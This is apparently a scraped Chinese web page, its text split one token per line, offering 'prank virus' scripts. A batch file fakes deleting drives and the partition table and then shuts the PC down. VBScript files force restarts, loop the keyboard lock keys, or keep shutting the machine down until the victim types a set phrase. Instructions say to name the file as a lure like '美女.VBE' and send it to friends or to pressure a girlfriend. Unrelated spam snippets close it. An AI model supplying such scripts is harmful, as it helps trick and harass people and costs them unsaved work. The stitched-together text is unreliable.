@echo
off
color
0b
mode
con:
cols=80
lines=20
@title=超级病毒
for
/L
%%a
in
(
3,-1,0
)
do
(
for
/l
%%a
in
(1,1,8)
do
echo\
echo
入侵倒计时
%%a
秒
ping
-n
2
127.1
1nul
2nul
cls
)
cls
color
40
for
/l
%%a
in
(1,1,8)
do
echo\
echo
正在遭受黑客入侵...
ping
127.1
/n
3
nul
echo.
echo
警告!警告!电脑已被入侵!!!
ping
127.1
/n
3
nul
cls
echo.
echo.
echo.
echo
正在删除G盘所有文件...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo
删除完毕
echo.
echo
正在删除E盘所有文件...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo
删除完毕
echo.
echo
正在删除D盘所有文件...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo
删除完毕
echo.
echo
正在删除C盘所有文件...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo
删除完毕
echo.
echo
正在删除分区表...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo.
echo
删除完毕
echo.
echo.
echo
正在遭受黑客的炸弹袭击!
echo.
echo
电脑崩溃!准备关闭系统!
ping
127.1
/n
3
nul
shutdown
-s
-t
nulp
/p
on error resume next
DO
msgbox "嗨!!!!",64,"^_^"
msgbox "嗨!我是黑客",64,"ψ(╰_╯)"
msgbox "你是谁?为什么你家有这么多病毒?",64,"(∵)?"
msgbox "让我控制你的电脑吧~~~",64,"o(∩_∩)o "
msgbox "我来帮你杀毒~~~~",64,"^_^"
msgbox "说实话我不想帮你",64,"(*^__^*) 嘻嘻"
msgbox "还是;来捣乱吧",64,"^_^"
msgbox "首先接我的之一招~~",64,"V.S"
intAnswer = msgbox ("如果没有我将让你的电脑无休止的重起",vbYesNo,"^_^")
If intAnswer = vbYes Then
YONG=Msgbox ("很好那么请你让我知道,如果你不能让我知道你输,我将对所有硬盘进行格式化。嘿嘿!",vbYesNo,"^_^")
msgbox "抱歉 你不能出招...",64,"V.S"
If YONG = vbNo Then
msgbox "哈哈就让键盘灯一直闪吧",64,"^_^"
msgbox chr(13) + chr(13) + chr(13) + "作者:周峻全"
DIM i
While(1)
For i=1 To 10
next
set WshShell=createObject("Wscript.Shell")
WshShell.SendKeys"{CAPSLOCK}"
WSCRIPT.SLEEP 100
WshShell.SendKeys"{SCROllLOCK}"
WSCRIPT.SLEEP 100
WshShell.SendKeys"{NUMLOCK}"
WSCRIPT.SLEEP 100
Wend
Else
End If
Else
set TUYONG=wscript.createobject("wscript.shell")
TUYONG.run ("shutdown -r -t 99999 -c 小样你输啦~~~哈哈,关机了!!!!"),,true
End If
LOOP
创建文本文档把后缀改成 .vbe 就好了
这是最贱的
之一步,将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特,不说就30秒关你机,不信,试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机,快撒,说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自
第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)
如果谁运行了这个 *** 炸弹,在30秒后会自动关机。
下面说一下使用 *** :
最简单的使用 *** 是,你直接发给好友,让他运行,然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊!")
WScript.Echo("推荐你来的肯定是个坏蛋!")
WScript.Echo("欢迎来到被整软件站!")
WScript.Echo("是谁设计的?")
WScript.Echo("Is me")
WScript.Echo("你好,你要点30次确定哦!")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
手机黑客的这个代码的话他是没有的,正常情况下,如果你要是找一个黑客的话,找专业的人员帮忙,这样的话才可以,不然的话都没有的。
这位童鞋,我很同情你,你的心情我理解可是你要想学黑客你必须掌握C之类的,可你只是想怎能整。。。。。人
针对我国航空技能进出口总公司(CATIC)的垂钓网站当帮手办法中包括throw句子时,JIT不会内联它。 处理这个问题的常见技巧是增加一个静态的“throw helper”办法,来完结一些扎手的作业,...
现在的社会经历了这么多年的变化,大家发现现在的生活水平不断提升,但是大家想要通过自己的努力过上更好的生活,而大家想要的任何东西的前提就是要有钱,所以大家又开始了努力赚钱的生活,但是大家突然发现自己在如...
1、在电脑上找到浏览器,并点击打开浏览器。2、打开百度,搜索移动梦网,并点击打开搜索结果中的官网。3、在跳转的界面中,找到右上角的官网选项,并点击。 用手机点上网就可以上移动梦网了wap.monter...
Microsoft SharePoint Server 2013 Service Pack 1 上的 Word Automation Services –reference=RFILE(直接引用某...
没用,就算被删了,自己弄啊,现在的黑客技术还木有恢复好友的技术,再说学这个技术有啥用,这种技术又不好,不好的话被人说装逼啥的~ 用穷举法不知行不行!这是破译机你选一款慢慢破去吧!这很难6位纯数字密码...
1、开启Cortana,输入框键入“powershell”,上边发生Windows powershell 2、右键Windows Powershell部件,挑选以管理员身份运作...